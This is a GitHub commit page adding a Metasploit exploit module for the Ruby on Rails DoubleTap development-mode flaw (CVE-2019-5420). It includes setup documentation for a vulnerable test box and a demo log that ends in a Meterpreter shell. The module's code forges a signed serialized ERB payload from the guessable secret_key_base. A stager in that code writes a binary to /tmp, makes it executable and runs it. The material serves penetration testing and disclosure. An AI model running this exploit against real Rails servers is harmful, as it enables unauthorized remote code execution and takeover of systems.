Skip to content
Browse files

Land #11779, add Rails Doubletap Dev mode RCE

  • Loading branch information...
space-r7 committed May 1, 2019
2 parents abfe0e0 + 887c09f commit a88858fc8b9e3dd330fac5f3926b614073b554e9
@@ -0,0 +1,105 @@
# Ruby on Rails DoubleTap Development Mode secret_key_base Vulnerability

## Background

Ruby on Rails is a server-side web application framework written in Ruby. It is a model-view-controller (MVC) architecture, providing default structures for a database, a web service, and web pages. It is also a popular choice of framework among well known services and products such as Github, Bloomberg, Soundcloud, Groupon,, and of course, Rapid7s Metasploit.

In development mode, Ruby on Rails versions including 5.2.2 and prior are vulnerable to a remote code execution vulnerability due to a predictable secret_key_base based on the name of the Rails application, and use it to create a signed serialized payload, and gain remote code execution.

## Vulnerable Setup

In order to set up a vulnerable box for testing, do this on a Linux machine (such as Ubuntu), and assuming you already have rvm installed:

$ rvm gemset create test
$ rvm gemset use test
$ gem install rails '5.2.1'
$ rails new demo

Next, `cd` to demo, and then modify the Gemfile like this:

$ echo "gem 'rails', '5.2.1'" >> Gemfile
$ echo "gem 'sqlite3', '~> 1.3.6', '< 1.4'" >> Gemfile
$ echo "source ''" >> Gemfile
$ bundle

Next, add a new controller:

rails generate controller metasploit

And add the index method for that controller (under app/controllers/metasploit_controllers.rb):

class MetasploitController < ApplicationController
def index
render file: "#{Rails.root}/test.html"

In the root directory, add a new test.html:

echo Hello World > test.html

Also, add that new route in config/routes.rb:

Rails.application.routes.draw do
resources :metasploit

And finally, start the application (since no mode is specified, by default, it is development mode):

rails s -b

## Demonstration

### Server

$ rails server -b
=> Booting Puma
=> Rails 5.2.1 application starting in development
=> Run `rails server -h` for more startup options
Puma starting in single mode...
* Version 3.12.1 (ruby 2.6.0-p0), codename: Llamas in Pajamas
* Min threads: 5, max threads: 5
* Environment: development
* Listening on tcp://
Use Ctrl-C to stop

### Metasploit

msf5 exploit(multi/http/rails_double_tap) > check
[+] - The target is vulnerable.
msf5 exploit(multi/http/rails_double_tap) > exploit
[*] Started reverse TCP handler on
[*] Attempting to retrieve the application name...
[*] The application name is: Demo
[*] Stager ready: 433 bytes
[*] Sending serialized payload to target (1250 bytes)
[*] Sending stage (985320 bytes) to
[*] Meterpreter session 1 opened ( -> at 2019-04-25 16:29:43 -0500
[+] Deleted /tmp/LsvSGK.bin
[+] Deleted /tmp/tSJfp.bin
meterpreter > getuid
Server username: uid=1000, gid=1000, euid=1000, egid=1000
meterpreter > pwd
meterpreter >

@@ -0,0 +1,225 @@
# This module requires Metasploit:
# Current source:

class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking

include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::EXE
include Msf::Exploit::FileDropper
include Msf::Auxiliary::Report

def initialize(info={})
'Name' => 'Ruby On Rails DoubleTap Development Mode secret_key_base Vulnerability',
'Description' => %q{
This module exploits a vulnerability in Ruby on Rails. In development mode, a Rails
application would use its name as the secret_key_base, and can be easily extracted by
visiting an invalid resource for a path. As a result, this allows a remote user to
create and deliver a signed serialized payload, load it by the application, and gain
remote code execution.
'License' => MSF_LICENSE,
'Author' =>
'ooooooo_q', # Reported the vuln on hackerone
'mpgn', # Proof-of-Concept
'sinn3r' # Metasploit module
'References' =>
[ 'CVE', '2019-5420' ],
[ 'URL', '' ],
[ 'URL', '' ],
[ 'URL', '!searchin/rubyonrails-security/CVE-2019-5420/rubyonrails-security/IsQKvDqZdKw/UYgRCJz2CgAJ' ]
'Platform' => 'linux',
'Targets' =>
[ 'Ruby on Rails 5.2 and prior', { } ]
'DefaultOptions' =>
'RPORT' => 3000
'Notes' =>
'AKA' => [ 'doubletap' ],
'Stability' => [ CRASH_SAFE ],
'SideEffects' => [ IOC_IN_LOGS ]
'Privileged' => false,
'DisclosureDate' => 'Mar 13 2019',
'DefaultTarget' => 0))

['TARGETURI', [true, 'The route for the Rails application', '/']),

NO_RAILS_ROOT_MSG = 'No Rails.root info'

# These mocked classes are borrowed from Rails 5. I had to do this because Metasploit
# still uses Rails 4, and we don't really know when we will be able to upgrade it.

class Messages
class Metadata
def initialize(message, expires_at = nil, purpose = nil)
@message, @expires_at, @purpose = message, expires_at, purpose

def as_json(options = {})
{ _rails: { message: @message, exp: @expires_at, pur: @purpose } }

def self.wrap(message, expires_at: nil, expires_in: nil, purpose: nil)
if expires_at || expires_in || purpose
ActiveSupport::JSON.encode new(encode(message), pick_expiry(expires_at, expires_in), purpose)


def self.pick_expiry(expires_at, expires_in)
if expires_at
elsif expires_in expires_in).iso8601(3)

def self.encode(message)

class MessageVerifier
def initialize(secret, options = {})
raise ArgumentError, 'Secret should not be nil.' unless secret
@secret = secret
@digest = options[:digest] || 'SHA1'
@serializer = options[:serializer] || Marshal

def generate(value, expires_at: nil, expires_in: nil, purpose: nil)
data = encode(Messages::Metadata.wrap(@serializer.dump(value), expires_at: expires_at, expires_in: expires_in, purpose: purpose))


def generate_digest(data)
require "openssl" unless defined?(OpenSSL)
OpenSSL::HMAC.hexdigest(OpenSSL::Digest.const_get(@digest).new, @secret, data)

def encode(message)

def check
check_code = CheckCode::Safe
app_name = get_application_name
check_code = CheckCode::Appears unless app_name.blank?
test_payload = %Q|puts 1|
rails_payload = generate_rails_payload(app_name, test_payload)
result = send_serialized_payload(rails_payload)
check_code = CheckCode::Vulnerable if result
rescue Msf::Exploit::Failed => e
return check_code if e.message.to_s.include? NO_RAILS_ROOT_MSG

# Returns information about Rails.root if we retrieve an invalid path under rails.
def get_rails_root_info
res = send_request_cgi({
'method' => 'GET',
'uri' => normalize_uri(target_uri.path, 'rails', Rex::Text.rand_text_alphanumeric(32)),

fail_with(Failure::Unknown, 'No response from the server') unless res
html = res.get_html_document
rails_root_node ='//code[contains(text(), "Rails.root:")]')
fail_with(Failure::NotVulnerable, NO_RAILS_ROOT_MSG) unless rails_root_node
root_info_value = rails_root_node.text.scan(/Rails.root: (.+)/).flatten.first
report_note(host: rhost, type: 'rails.root_info', data: root_info_value, update: :unique_data)

# Returns the application name based on Rails.root. It seems in development mode, the
# application name is used as a secret_key_base to encrypt/decrypt data.
def get_application_name
root_info = get_rails_root_info

# Returns the stager code that writes the payload to disk so we can execute it.
def get_stager_code
b64_fname = "/tmp/#{Rex::Text.rand_text_alpha(6)}.bin"
bin_fname = "/tmp/#{Rex::Text.rand_text_alpha(5)}.bin"
register_file_for_cleanup(b64_fname, bin_fname)
p = Rex::Text.encode_base64(generate_payload_exe)

c = "'#{b64_fname}', 'wb') { |f| f.write('#{p}') }; "
c << "%x(base64 --decode #{b64_fname} > #{bin_fname}); "
c << "%x(chmod +x #{bin_fname}); "
c << "%x(#{bin_fname})"

# Returns the serialized payload that is embedded with our malicious payload.
def generate_rails_payload(app_name, ruby_payload)
secret_key_base = Digest::MD5.hexdigest("#{app_name}::Application")
keygen =, iterations: 1000))
secret = keygen.generate_key('ActiveStorage')
verifier =
erb = ERB.allocate
erb.instance_variable_set :@src, ruby_payload
erb.instance_variable_set :@filename, "1"
erb.instance_variable_set :@lineno, 1
dump_target =, :result)
verifier.generate(dump_target, purpose: :blob_key)

# Sending the serialized payload
# If the payload fails, the server should return 404. If successful, then 200.
def send_serialized_payload(rails_payload)
res = send_request_cgi({
'method' => 'GET',
'uri' => "/rails/active_storage/disk/#{rails_payload}/test",

if res && res.code != 200
print_error("It doesn't look like the exploit worked. Server returned: #{res.code}.")
print_error('The expected response should be HTTP 200.')

# This indicates the server did not accept the payload
return false

# This is used to indicate the server accepted the payload

def exploit
print_status("Attempting to retrieve the application name...")
app_name = get_application_name
print_status("The application name is: #{app_name}")

stager = get_stager_code
print_status("Stager ready: #{stager.length} bytes")

rails_payload = generate_rails_payload(app_name, stager)
print_status("Sending serialized payload to target (#{rails_payload.length} bytes)")

0 comments on commit a88858f

Please sign in to comment.
You can’t perform that action at this time.